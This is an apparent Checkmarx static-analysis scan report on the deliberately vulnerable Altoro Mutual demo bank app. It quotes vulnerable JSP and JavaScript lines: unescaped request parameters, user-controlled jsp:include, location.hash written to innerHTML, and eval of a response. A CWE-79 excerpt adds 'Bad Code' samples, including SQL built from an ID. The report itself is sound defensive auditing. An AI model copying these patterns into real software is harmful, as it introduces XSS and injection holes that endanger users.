Altoro PDF

altoro Scan Report
Project Name altoro

Scan Start 05-May-2014 15:38
Preset Default 2014
Scan Time 00h:04m:30s
Lines Of Code Scanned 3,271
Files Scanned 80
Report Creation Time 05-May-2014 15:43
Online Results http://ITAS-SERVER1/CxWebClient/ViewerMain.aspx?scanid=3&projectid=7
Team Audit_Team
Checkmarx Version 7.1.4.1
Scan Type Full
Source Origin LocalPath
Density 2/100 (Vulnerabilities/LOC)
Result Summary Most Vulnerable Files
balance.jsp
High transaction.jsp
Medium transfer.jsp
Low queryxpath.jsp
feedbacksuccess.jsp
Top 5 Vulnerabilities
PAGE 1 OF 101
Results Distribution By Status
First scan of the project
High Medium Low Information Total
New Issues 26 52 17 0 95
Recurrent Issues 0 0 0 0 0
Total 26 52 17 0 95
Fixed Issues 0 0 0 0 0
Results Distribution By State
High Medium Low Information Total

To Verify 26 52 17 0 95
Not Exploitable 0 0 0 0 0
Confirmed 0 0 0 0 0
Urgent 0 0 0 0 0
Total 26 52 17 0 95
Result Summary
Vulnerability Type Occurrences Severity
Reflected XSS All Clients 25 High
Client DOM XSS 1 High
Privacy Violation 24 Medium
Cleartext Submission of Sensitive Information 19 Medium
Client DOM XSRF 4 Medium
Dangerous File Inclusion 2 Medium
CGI Reflected XSS All Clients 1 Medium
HttpOnlyCookies In Config 1 Medium
Client Cross Frame Scripting Attack 1 Medium
Race Condition Format Flaw 6 Low
Client DOM Open Redirect 4 Low
Client Regex Injection 2 Low
Client Server Empty Password 2 Low
Client Potential Ad Hoc Ajax 1 Low
Client Remote File Inclusion 1 Low
Client Use Of Iframe Without Sandbox 1 Low
10 Most Vulnerable Files

High and Medium Vulnerabilities
File Name Issues Found

\altoro\bank\balance.jsp 23
\altoro\bank\transaction.jsp 22
\altoro\bank\transfer.jsp 6
\altoro\bank\queryxpath.jsp 4
\altoro\feedbacksuccess.jsp 4
\altoro\index.jsp 4
PAGE 2 OF 101
\altoro\disclaimer.htm 4
\altoro\bank\customize.jsp 3
\altoro\bank\main.jsp 3
\altoro\search.jsp 1
PAGE 3 OF 101
Scan Results Details
Number of results is limited to 50 for each vulnerability. To get more results please change a setting "Limit results to 50" in report creation wizard.
Reflected XSS All Clients

Detailed Vulnerability Description
Reflected XSS All Clients\Path 1:
Severity High
Result State To Verify
Online Results http://ITAS-SERVER1/CxWebClient/ViewerMain.aspx?scanid=3&projectid=7&pathid=4
Status New
Source Destination
File \altoro\bank\balance.jsp \altoro\bank\balance.jsp
Line 20 37
Object ""acctId"" write
Code Snippet
File Name \altoro\bank\balance.jsp
Method <%@page import="com.ibm.security.appscan.altoromutual.model.Transaction"%>
....
20. java.lang.String paramName = request.getParameter("acctId");
....
37. <h1>Account History - <%=accountName%></h1>

Severity High
Status New
Source Destination
File \altoro\bank\customize.jsp \altoro\bank\customize.jsp
Line 15 15
Object ""lang"" write
Code Snippet
File Name \altoro\bank\customize.jsp
Method <%@ page language="java" contentType="text/html; charset=ISO-8859-1"
....
15. Curent Language: <%=(request.getParameter("lang")==null)?"":request.getParameter("lang")%>

Severity High
Status New
PAGE 4 OF 101
Source Destination
File \altoro\bank\queryxpath.jsp \altoro\bank\queryxpath.jsp
Line 16 16
Object ""query"" write
Code Snippet
File Name \altoro\bank\queryxpath.jsp
....
16. <input type="text" id="query" name="query" width=450
value="<%=(request.getParameter("query")==null)?"Enter title (e.g.
Watchfire)":request.getParameter("query")%>"/>

Severity High
Status New
Source Destination
Line 21 27
Object ""query"" println
Code Snippet
....
21. String[] results = ServletUtil.searchArticles(request.getParameter("query"),
request.getSession().getServletContext().getRealPath("/pr/Docs.xml"));
....
27. out.println(result+"<br/>");

Severity High
Status New
Source Destination
File \altoro\bank\transaction.jsp \altoro\bank\transaction.jsp
Line 20 117
Object ""startTime"" write
PAGE 5 OF 101
Code Snippet
File Name \altoro\bank\transaction.jsp
Method <%@page import="java.text.SimpleDateFormat"%>
....
20. String startString = request.getParameter("startTime");
....
117.
<tr><td><%=transactions[i].getTransactionId()%></td><td><%=date%></td><td><%=transactions[i].getA
ccountId()%></td><td><%=transactions[i].getTransactionType()%></td><td
align="right"><%=amount%></td></tr>

Severity High
Status New
Source Destination
Line 20 117
Code Snippet
....
....
117.

Severity High
Status New
Source Destination
Line 20 117
Code Snippet
PAGE 6 OF 101
....
....
117.

Severity High
Status New
Source Destination
Line 20 117
Code Snippet
....
....
117.

Severity High
Status New
Source Destination
Line 21 117
Object ""endTime"" write
Code Snippet
PAGE 7 OF 101
....
21. String endString = request.getParameter("endTime");
....
117.

Severity High
Status New
Source Destination
Line 21 117
Code Snippet
....
....
117.

Severity High
Status New
Source Destination
Line 21 117
Code Snippet
PAGE 8 OF 101
....
....
117.

Severity High
Status New
Source Destination
Line 21 117
Code Snippet
....
....
117.

Severity High
Status New
Source Destination
Line 95 95
Object ""startDate"" write
Code Snippet
PAGE 9 OF 101
....
95. <td><input id="startDate" name="startDate" type="text"
value="<%=(request.getParameter("startDate")==null)?"":request.getParameter("startDate")%>"/><br
/><span class="credit">yyyy-mm-dd</span></td>

Severity High
Status New
Source Destination
Line 97 97
Object ""endDate"" write
Code Snippet
....
97. <td><input name="endDate" id="endDate" type="text"
value="<%=(request.getParameter("endDate")==null)?"":request.getParameter("endDate") %>"/><br
/><span class="credit">yyyy-mm-dd</span></td>

Severity High
Status New
Source Destination
File \altoro\feedbacksuccess.jsp \altoro\feedbacksuccess.jsp
Line 21 26
Object ""email_addr"" write
Code Snippet
File Name \altoro\feedbacksuccess.jsp
....
21. <% String email = (String) request.getParameter("email_addr");
....
26. However, the email you gave is incorrect (<%=/*email.toLowerCase()*/
ServletUtil.sanitizeWeb(email.toLowerCase())%>) and you will not receive a response.

Severity High
PAGE 10 OF 101
Status New
Source Destination
Line 21 26
Code Snippet
....
....
26. However, the email you gave is incorrect (<%=/*email.toLowerCase()*/
ServletUtil.sanitizeWeb(email.toLowerCase())%>) and you will not receive a response.

Severity High
Status New
Source Destination
Line 21 24
Code Snippet
....
....
24. Our reply will be sent to your email: <%= ServletUtil.sanitzieHtmlWithRegex(email.toLowerCase())%>

Severity High
Status New
Source Destination
PAGE 11 OF 101
Line 21 24
Code Snippet
....
....
24. Our reply will be sent to your email: <%= ServletUtil.sanitzieHtmlWithRegex(email.toLowerCase())%>

Severity High
Status New
Source Destination
File \altoro\index.jsp \altoro\index.jsp
Line 15 21
Object ""content"" include
Code Snippet
File Name \altoro\index.jsp
Method <%@page import="com.ibm.security.appscan.altoromutual.util.ServletUtil"%>
....
15. content = request.getParameter("content");
....
21. <jsp:include page="<%= content %>"/>

Severity High
Status New
Source Destination
File \altoro\search.jsp \altoro\search.jsp
Line 12 24
Object ""query"" write
Code Snippet
File Name \altoro\search.jsp
PAGE 12 OF 101
....
12. String query = request.getParameter("query");
....
24. <%= query %>

Severity High
Status New
Source Destination
Line 15 21
Code Snippet
....
....

Severity High
Status New
Source Destination
File \altoro\util\serverStatusCheckService.jsp \altoro\util\serverStatusCheckService.jsp
Line 4 4
Object ""HostName"" write
Code Snippet
File Name \altoro\util\serverStatusCheckService.jsp
Method <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-
8859-1"%>
....
4. "HostName": "<%=request.getParameter("HostName")%>",

Severity High
PAGE 13 OF 101
Status New
Source Destination
Line 23 23
Object getRequestURL write
Code Snippet
....
23. <a id="HyperLink1"
href="<%=request.getRequestURL()%>?content=customize.jsp&lang=international">International</a>

Severity High
Status New
Source Destination
Line 24 24
Code Snippet
....
24. <a id="HyperLink2"
href="<%=request.getRequestURL()%>?content=customize.jsp&lang=english">English</a>

Severity High
Status New
Source Destination
Line 12 12
Code Snippet
PAGE 14 OF 101
....
12. <form id="QueryXpath" method="get" action="<%=request.getRequestURL()%>">
Client DOM XSS

Client DOM XSS\Path 1:
Severity High
Status New
Method "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> at line 96 of \altoro\high_yield_investments.htm

gets user input for the substring element. This element’s value then flows through client-side code without being
properly sanitized or validated and is eventually displayed to the user in "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd"> at line 96 of \altoro\high_yield_investments.htm.This may enable a DOM XSS attack.
Source Destination
File \altoro\high_yield_investments.htm \altoro\high_yield_investments.htm
Line 96 100
Object substring innerHTML
Code Snippet
File Name \altoro\high_yield_investments.htm
Method <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
....
96. var h = document.location.hash.substring(1);
....
100. document.getElementById("email").innerHTML += " ("+h+")";
Privacy Violation
Privacy Violation\Path 1:
Severity Medium
Status New
Method import="com.ibm.security.appscan.altoromutual.model.Transaction"%> at line 19 of \altoro\bank\balance.jsp

sends user information outside the application. This may constitute a Privacy Violation.
Source Destination
Line 19 52
Object accounts println
Code Snippet
PAGE 15 OF 101
....
19. ArrayList<Account> accounts = new ArrayList<Account>();
....
52. out.println("<option value=\""+account.getAccountId()+"\">" + account.getAccountId() + " " +
account.getAccountName() + "</option>");
Severity Medium
Status New

Source Destination
Line 23 52
Object getAccounts println
Code Snippet
....
23. for (Account account: user.getAccounts()){
....
Severity Medium
Status New

Source Destination
Line 26 52
Code Snippet
PAGE 16 OF 101
....
26. accounts.add(account);
....
Severity Medium
Status New

Source Destination
Line 26 52
Object account println
Code Snippet
....
26. accounts.add(account);
....
Severity Medium
Status New

Source Destination
Line 28 52
Code Snippet
PAGE 17 OF 101
....
28. accounts.add(0, account);
....
Severity Medium
Status New

Source Destination
Line 52 52
Object getAccountId println
Code Snippet
....
Severity Medium
Status New

Source Destination
Line 52 52
Object getAccountName println
Code Snippet
....
Severity Medium
PAGE 18 OF 101
Status New

Source Destination
Line 21 37
Object accountName write
Code Snippet
....
21. String accountName = paramName;
....
Severity Medium
Status New

Source Destination
Line 23 37
Object getAccounts write
Code Snippet
....
....

Severity Medium
Status New

Source Destination
PAGE 19 OF 101
Line 29 37
Object getAccountName write
Code Snippet
....
29. accountName = account.getAccountId() + " " + account.getAccountName();
....

Severity Medium
Status New
Method charset=ISO-8859-1" at line 30 of \altoro\bank\main.jsp sends user information outside the application. This
may constitute a Privacy Violation.
Source Destination
File \altoro\bank\main.jsp \altoro\bank\main.jsp
Line 30 31
Code Snippet
File Name \altoro\bank\main.jsp
....
31. out.println("<option value=\""+account.getAccountId()+"\" >" + account.getAccountId() + " " +

Severity Medium
Status New
Source Destination
Line 31 31
Code Snippet
PAGE 20 OF 101
....

Severity Medium
Status New
Source Destination
Line 31 31
Code Snippet
....

Severity Medium
Status New
Method import="java.text.SimpleDateFormat"%> at line 28 of \altoro\bank\transaction.jsp sends user information

outside the application. This may constitute a Privacy Violation.
Source Destination
Line 28 117
Code Snippet
....
28. transactions = user.getUserTransactions(startString, endString, user.getAccounts());
....
117.
PAGE 21 OF 101
Severity Medium
Status New

Source Destination
Line 28 117
Code Snippet
....
....
117.

Severity Medium
Status New

Source Destination
Line 28 117
Code Snippet
....
....
117.

Severity Medium
PAGE 22 OF 101
Status New

Source Destination
Line 28 117
Code Snippet
....
....
117.

Severity Medium
Status New

Source Destination
Line 117 117
Object getAccountId write
Code Snippet
....
117.

Severity Medium
Status New
PAGE 23 OF 101
Method charset=ISO-8859-1" at line 50 of \altoro\bank\transfer.jsp sends user information outside the application. This
Source Destination
File \altoro\bank\transfer.jsp \altoro\bank\transfer.jsp
Line 50 51
Code Snippet
File Name \altoro\bank\transfer.jsp
....
51. out.println("<option value=\""+account.getAccountName()+"\" >" + account.getAccountId() + " " +

Severity Medium
Status New
Source Destination
Line 51 51
Code Snippet
....

Severity Medium
Status New
Source Destination
Line 51 51
PAGE 24 OF 101
Code Snippet
....

Severity Medium
Status New
Source Destination
Line 62 63
Code Snippet
....

Severity Medium
Status New
Source Destination
Line 63 63
Code Snippet
PAGE 25 OF 101
....

Severity Medium
Status New
Source Destination
Line 63 63
Code Snippet
....
Cleartext Submission of Sensitive Information

Cleartext Submission of Sensitive Information\Path 1:
Severity Medium
Status New
Source Destination
Line 21 37
Code Snippet
....
21. String accountName = paramName;
....
PAGE 26 OF 101
Severity Medium
Status New
Source Destination
Line 23 37
Code Snippet
....
....

Severity Medium
Status New
Source Destination
Line 25 37
Object account write
Code Snippet
....
25. if (!String.valueOf(account.getAccountId()).equals(paramName))
....

Severity Medium
Status New
Source Destination
PAGE 27 OF 101
Line 29 37
Code Snippet
....
....

Severity Medium
Status New
Source Destination
Line 29 37
Code Snippet
....
....

Severity Medium
Status New
Source Destination
Line 29 37
Code Snippet
PAGE 28 OF 101
....
....

Severity Medium
Status New
Source Destination
Line 29 37
Object getAccountName write
Code Snippet
....
....

Severity Medium
Status New
Source Destination
Line 29 37
Code Snippet
....
....

Severity Medium
PAGE 29 OF 101
Status New
Source Destination
Line 37 37
Code Snippet
....

Severity Medium
Status New
Source Destination
Line 84 91
Object paramName write
Code Snippet
....
84. Transaction[] transactions = DBUtil.getTransactions(null, null, new
Account[]{DBUtil.getAccount(Long.valueOf(paramName))}, 10);
....
91. <tr><td width=99><%=date%></td><td width=292><%=transaction.getTransactionType()%></td><td
width=84 align=right><%=amount%></td></tr>

Severity Medium
Status New
Source Destination
Line 84 91
PAGE 30 OF 101
Code Snippet
....
....

Severity Medium
Status New
Source Destination
Line 84 91
Code Snippet
....
....

Severity Medium
Status New
Source Destination
Line 28 117
Code Snippet
PAGE 31 OF 101
....
....
117.

Severity Medium
Status New
Source Destination
Line 28 117
Code Snippet
....
....
117.

Severity Medium
Status New
Source Destination
Line 28 117
Code Snippet
PAGE 32 OF 101
....
....
117.

Severity Medium
Status New
Source Destination
Line 117 117
Code Snippet
....
117.

Severity Medium
Status New
Source Destination
Line 28 117
Code Snippet
PAGE 33 OF 101
....
....
117.

Severity Medium
Status New
Source Destination
Line 28 117
Code Snippet
....
....
117.

Severity Medium
Status New
Source Destination
Line 117 117
Code Snippet
PAGE 34 OF 101
....
117.
Client DOM XSRF

Client DOM XSRF\Path 1:
Severity Medium
Status New
Method go at line 14 of \altoro\disclaimer.htm gets a parameter from a user request URL from element substring. This
parameter value flows through the code and is eventually used to modify database contents. The application does not
require renewed user authentication for the request. This may enable Cross-Site Request Forgery (XSRF).
Source Destination
File \altoro\disclaimer.htm \altoro\disclaimer.htm
Line 14 19
Object substring href
Code Snippet
File Name \altoro\disclaimer.htm
Method function go() {
....
14. var sDst = document.URL.substring(iPos,document.URL.length);
....
19. window.location.href = sDst;

Severity Medium
Status New
Method go at line 14 of \altoro\disclaimer.htm gets a parameter from a user request URL from element substring. This
parameter value flows through the code and is eventually used to modify database contents. The application does not
require renewed user authentication for the request. This may enable Cross-Site Request Forgery (XSRF).
Source Destination
Line 14 16
Code Snippet
PAGE 35 OF 101
....
....
16. window.opener.location.href = sDst;

Severity Medium
Status New
Method <html> at line 28 of \altoro\disclaimer.htm gets a parameter from a user request URL from element substring.
This parameter value flows through the code and is eventually used to modify database contents. The application does
not require renewed user authentication for the request. This may enable Cross-Site Request Forgery (XSRF).
Source Destination
Line 28 35
Code Snippet
Method <html>
....
....
35. window.location.href = "http" + sDst.substring(4);

Severity Medium
Status New
Method <html> at line 28 of \altoro\disclaimer.htm gets a parameter from a user request URL from element substring.
This parameter value flows through the code and is eventually used to modify database contents. The application does
not require renewed user authentication for the request. This may enable Cross-Site Request Forgery (XSRF).
Source Destination
Line 28 32
Code Snippet
Method <html>
....
....
32. window.opener.location.href = "http" + sDst.substring(4);
PAGE 36 OF 101
Dangerous File Inclusion
Dangerous File Inclusion\Path 1:
Severity Medium
Status New
Source Destination
Line 15 21
Code Snippet
....
....
Dangerous File Inclusion\Path 2:

Severity Medium
Status New
Source Destination
Line 15 21
Code Snippet
....
....
CGI Reflected XSS All Clients

CGI Reflected XSS All Clients\Path 1:
Severity Medium
Status New
PAGE 37 OF 101
Source Destination
Line 21 27
Object ""query"" println
Code Snippet
....
21. String[] results = ServletUtil.searchArticles(request.getParameter("query"),
request.getSession().getServletContext().getRealPath("/pr/Docs.xml"));
....
27. out.println(result+"<br/>");
HttpOnlyCookies In Config
HttpOnlyCookies In Config\Path 1:
Severity Medium
Status New
Source Destination
File \altoro\WEB-INF\web.xml \altoro\WEB-INF\web.xml
Line 1 1
Object CxXmlConfigClass1961375954 CxXmlConfigClass1961375954
Code Snippet
File Name \altoro\WEB-INF\web.xml
Method <?xml version="1.0" encoding="UTF-8"?>
....
1. <?xml version="1.0" encoding="UTF-8"?>
Client Cross Frame Scripting Attack

Client Cross Frame Scripting Attack\Path 1:
Severity Medium
Status New
Source Destination
File \altoro\admin\admin.jsp \altoro\admin\admin.jsp
PAGE 38 OF 101
Line 1 1
Object CxJSNS_604362967 CxJSNS_604362967
Code Snippet
File Name \altoro\admin\admin.jsp
....
1. <%@ page language="java" contentType="text/html; charset=ISO-8859-1"
Race Condition Format Flaw

Race Condition Format Flaw\Path 1:
Severity Low
Status New
Source Destination
Line 67 67
Object format format
Code Snippet
....
67. <td>Ending balance as of <%= new SimpleDateFormat().format(new java.util.Date()) %>

Severity Low
Status New
Source Destination
Line 89 89
Code Snippet
PAGE 39 OF 101
....
89. String date = new SimpleDateFormat("yyyy-MM-dd").format(transaction.getDate());

Severity Low
Status New
Source Destination
Line 114 114
Code Snippet
....
114. String date = new SimpleDateFormat("yyyy-MM-dd HH:mm").format(transactions[i].getDate());

Severity Low
Status New
Source Destination
Line 56 56
Code Snippet
....
56. String balance = new DecimalFormat(format).format(dblBalance);

Severity Low
Status New
PAGE 40 OF 101
Source Destination
Line 88 88
Code Snippet
....
88. String amount = new DecimalFormat(dollarFormat).format(dblAmt);

Severity Low
Status New
Source Destination
Line 113 113
Code Snippet
....
113. String amount = new DecimalFormat(format).format(dblAmt);
Client DOM Open Redirect

Client DOM Open Redirect\Path 1:
Severity Low
Status New
Source Destination
Line 14 19
Code Snippet
PAGE 41 OF 101
....
....
19. window.location.href = sDst;

Severity Low
Status New
Source Destination
Line 14 16
Code Snippet
....
....
16. window.opener.location.href = sDst;

Severity Low
Status New
Source Destination
Line 28 35
Code Snippet
Method <html>
....
....
35. window.location.href = "http" + sDst.substring(4);

Severity Low
PAGE 42 OF 101
Status New
Source Destination
Line 28 32
Code Snippet
Method <html>
....
....
32. window.opener.location.href = "http" + sDst.substring(4);
Client Regex Injection

Client Regex Injection\Path 1:
Severity Low
Status New
Source Destination
File \altoro\high_yield_investments.htm \altoro\high_yield_investments.htm
Line 96 99
Object substring match
Code Snippet
File Name \altoro\high_yield_investments.htm
Method <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
....
96. var h = document.location.hash.substring(1);
....
99. if (h.match(re)) {
Client Regex Injection\Path 2:

Severity Low
Status New
Source Destination
PAGE 43 OF 101
File \altoro\static\inside_jobs.htm \altoro\static\inside_jobs.htm
Line 35 36
Object substring split
Code Snippet
File Name \altoro\static\inside_jobs.htm
Method function getParameter(name) {
....
35. var searchStr = document.location.search.substring(1);
36. var params = searchStr.split('&');
Client Server Empty Password

Client Server Empty Password\Path 1:
Severity Low
Status New
Source Destination
Line 25 25
Object password1 password1
Code Snippet
Method function confirmpass(myform)
....
25. myform.password1.value="";
Client Server Empty Password\Path 2:

Severity Low
Status New
Source Destination
Line 26 26
Object password2 password2
Code Snippet
Method function confirmpass(myform)
PAGE 44 OF 101
....
26. myform.password2.value="";
Client Potential Ad Hoc Ajax

Client Potential Ad Hoc Ajax\Path 1:
Severity Low
Status New
Source Destination
File \altoro\util\serverstatuscheck.html \altoro\util\serverstatuscheck.html
Line 41 41
Object responseText eval
Code Snippet
File Name \altoro\util\serverstatuscheck.html
Method function StateChangeForJSON()
....
41. var jsonObj = eval('('+ xmlHttp.responseText + ')');
Client Remote File Inclusion

Client Remote File Inclusion\Path 1:
Severity Low
Status New
Source Destination
File \altoro\static\personal_investments.htm \altoro\static\personal_investments.htm
Line 27 27
Object ""http://demo-analytics.testfire.net/urchin.js"" ""http://demo-analytics.testfire.net/urchin.js""
Code Snippet
File Name \altoro\static\personal_investments.htm
Method <script src="http://demo-analytics.testfire.net/urchin.js" type="text/javascript">
....
27. <script src="http://demo-analytics.testfire.net/urchin.js" type="text/javascript">
Client Use Of Iframe Without Sandbox

Client Use Of Iframe Without Sandbox\Path 1:
PAGE 45 OF 101
Severity Low
Status New
Source Destination
File \altoro\static\business_retirement.htm \altoro\static\business_retirement.htm
Line 1 1
Object iframe___531560134 iframe___531560134
Code Snippet
File Name \altoro\static\business_retirement.htm
Method
....
1.
Failure to Preserve Web Page Structure ('Cross-site Scripting')

Weakness ID: 79 (Weakness Base) Status: Usable
Description
Description Summary
The software does not sufficiently validate, filter, escape, and/or encode user-controllable input before it is
placed in output that is used as a web page that is served to other users.
Extended Description
Cross-site scripting (XSS) vulnerabilities occur when:
1. Untrusted data enters a web application, typically from a web request.
2. The web application dynamically generates a web page that contains this untrusted
data.
3. During page generation, the application does not prevent the data from containing
content that is executable by a web browser, such as JavaScript, HTML tags, HTML
attributes, mouse events, Flash, ActiveX, etc.
4. A victim visits the generated web page through a web browser, which contains
malicious script that was injected using the untrusted data.
5. Since the script comes from a web page that was sent by the web server, the victim's
web browser executes the malicious script in the context of the web server's domain.
6. This effectively violates the intention of the web browser's same-origin policy, which
states that scripts in one domain should not be able to access resources or run code in a
different domain.
There are three main kinds of XSS:
Type 1: Reflected XSS (or Non-Persistent)
The server reads data directly from the HTTP request and reflects it back in the HTTP
response. Reflected XSS exploits occur when an attacker causes a victim to supply
dangerous content to a vulnerable web application, which is then reflected back to the
victim and executed by the web browser. The most common mechanism for delivering
malicious content is to include it as a parameter in a URL that is posted publicly or e-
mailed directly to the victim. URLs constructed in this manner constitute the core of
many phishing schemes, whereby an attacker convinces a victim to visit a URL that
PAGE 46 OF 101
refers to a vulnerable site. After the site reflects the attacker's content back to the
victim, the content is executed by the victim's browser.
Type 2: Stored XSS (or Persistent)
The application stores dangerous data in a database, message forum, visitor log, or
other trusted data store. At a later time, the dangerous data is subsequently read back
into the application and included in dynamic content. From an attacker's perspective,
the optimal place to inject malicious content is in an area that is displayed to either
many users or particularly interesting users. Interesting users typically have elevated
privileges in the application or interact with sensitive data that is valuable to the
attacker. If one of these users executes malicious content, the attacker may be able to
perform privileged operations on behalf of the user or gain access to sensitive data
belonging to the user. For example, the attacker might inject XSS into a log message,
which might not be handled properly when an administrator views the logs.
Type 0: DOM-Based XSS
In DOM-based XSS, the client performs the injection of XSS into the page; in the other
types, the server performs the injection. DOM-based XSS generally involves server-
controlled, trusted script that is sent to the client, such as Javascript that performs
sanity checks on a form before the user submits it. If the server-supplied script
processes user-supplied data and then injects it back into the web page (such as with
dynamic HTML), then DOM-based XSS is possible.
Once the malicious script is injected, the attacker can perform a variety of malicious
activities. The attacker could transfer private information, such as cookies that may
include session information, from the victim's machine to the attacker. The attacker
could send malicious requests to a web site on behalf of the victim, which could be
especially dangerous to the site if the victim has administrator privileges to manage that
site. Phishing attacks could be used to emulate trusted web sites and trick the victim
into entering a password, allowing the attacker to compromise the victim's account on
that web site. Finally, the script could exploit a vulnerability in the web browser itself
possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."
In many cases, the attack can be launched without the victim even being aware of it.
Even with careful users, attackers frequently use a variety of methods to encode the
malicious portion of the attack, such as URL encoding or Unicode, so the request looks
less suspicious.
Alternate Terms
XSS
CSS: "CSS" was once used as the acronym for this problem, but this could cause confusion with "Cascading Style Sheets," so
usage of this acronym has declined significantly.
Time of Introduction
 Architecture and Design

 Implementation
Applicable Platforms
Languages
Language-independent
Architectural Paradigms
Web-based: (Often)
Technology Classes
PAGE 47 OF 101
Web-Server: (Often)
Platform Notes
XSS flaws are very common in web applications since they require a great deal of
developer discipline to avoid them.
Common Consequences
Scope Effect
Confidentiality The most common attack performed with cross-site scripting involves the disclosure of information stored in user
cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser --
performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and
run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in
question, the malicious script does also.
Access Control
In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is
combined with other flaws.
Confidentiality
Integrity
The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in
Availability how the payload arrives at the server.
XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete
account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies,
create requests that can be mistaken for those of a valid user, compromise confidential information, or execute
malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the
disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site,
running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and
modifying presentation of content.
Likelihood of Exploit
High to Very High
Enabling Factors for Exploitation
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a
trusted web site for the consumption of other valid users, commonly on places such as bulletin-board web sites which provide web
based mailing list-style functionality.
Stored XSS got its start with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook
entries, and all subsequent visitors to the guestbook page would execute the malicious code. As the examples demonstrate, XSS
vulnerabilities are caused by code that includes unvalidated data in an HTTP response.
Detection Methods
Automated Static Analysis
Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize
the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when
multiple components are involved.
Effectiveness: Moderate
Black Box
Use the XSS Cheat Sheet [REF-14] or automated test-generation tools to help launch a wide variety of attacks against your web
application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.
With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first
inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other
users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days
after the XSS was originally injected into the data store.
Demonstrative Examples
Example 1
This example covers a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and
displays it to the user.
(Bad Code)
Example Language: JSP
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
PAGE 48 OF 101
The following ASP.NET code segment reads an employee ID number from an HTTP
request and displays it to the user.
(Bad Code)
Example Language: ASP.NET
...
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
... (HTML follows) ...
<p><asp:label id="EmployeeID" runat="server" /></p>
...
The code in this example operates correctly if the Employee ID variable contains only
standard alphanumeric text. If it has a value that includes meta-characters or source
code, then the code will be executed by the web browser as it displays the HTTP
response. Initially this might not appear to be much of a vulnerability. After all, why
would someone enter a URL that causes malicious code to run on their own computer?
The real danger is that an attacker will create the malicious URL, then use e-mail or
social engineering tricks to lure victims into visiting a link to the URL. When victims click
the link, they unwittingly reflect the malicious content through the vulnerable web
application back to their own computers.
Example 2
This example covers a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID
and prints the corresponding employee's name.
(Bad Code)
<%
...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given
employee ID and prints the name corresponding with the ID.
(Bad Code)
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
This code can appear less dangerous because the value of name is read from a
database, whose contents are apparently managed by the application. However, if the
value of name originates from user-supplied data, then the database can be a conduit
for malicious content. Without proper input validation on all data stored in the database,
an attacker can execute malicious commands in the user's web browser.
Observed Examples
Reference Description
PAGE 49 OF 101
CVE-2008-5080 Chain: protection mechanism failure allows XSS
CVE-2006-4308 Chain: only checks "javascript:" tag
CVE-2007-5727 Chain: only removes SCRIPT tags, enabling XSS
CVE-2008-5770 Reflected XSS using the PATH INFO in a URL
CVE-2008-4730 Reflected XSS not properly handled when generating an error message
CVE-2008-5734 Reflected XSS sent through email message.
CVE-2008-0971 Stored XSS in a security product.
CVE-2008-5249 Stored XSS using a wiki page.
CVE-2006-3568 Stored XSS in a guestbook application.
CVE-2006-3211 Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
CVE-2006-3295 Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS.
Potential Mitigations
Phase: Architecture and Design
Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness
easier to avoid.
Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library,
the OWASP ESAPI Encoding module, and Apache Wicket.
Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when
transmitting data between different components, or when generating outputs that can contain multiple encodings at the same
time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to
determine the required encoding strategies.
For any data that will be output to another web page, especially any data that was received from external inputs, use the
appropriate encoding on all non-alphanumeric characters.
Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
 HTML body
 Element attributes (such as src="XYZ")
 URIs
 JavaScript sections
 Cascading Style Sheets and style property
etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
Consult the XSS Prevention Cheat Sheet [REF-16] for more details on the types of encoding and escaping that are needed.

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order
to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by
changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Phase: Implementation
